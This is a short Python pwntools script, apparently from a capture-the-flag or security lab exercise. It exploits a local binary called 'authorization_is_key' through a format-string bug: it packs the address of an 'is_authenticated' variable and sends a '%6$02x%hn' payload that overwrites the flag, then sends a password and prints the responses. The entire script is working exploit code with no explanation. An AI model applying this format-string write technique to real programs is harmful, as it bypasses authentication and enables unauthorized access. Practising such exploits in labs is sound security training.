from pwn import *


# is_authenticated: 0x7fffffffde00

context(arch = "amd64", os = "linux")

p = process("/home/security/Desktop/authorization_is_key")

a = p64(0x7fffffffde00)

#payload2
fs =a + b"%6$02x%hn"

#"\x00\xde\xff\xff\xff\x7f" + "%hn"

print (p.recvline(timeout = 2))
p.sendline(fs)


print (p.recvline(timeout = 5))

p.sendline("123")

print (p.recv(timeout = 2))
print (p.recvall(timeout = 2))
p.close()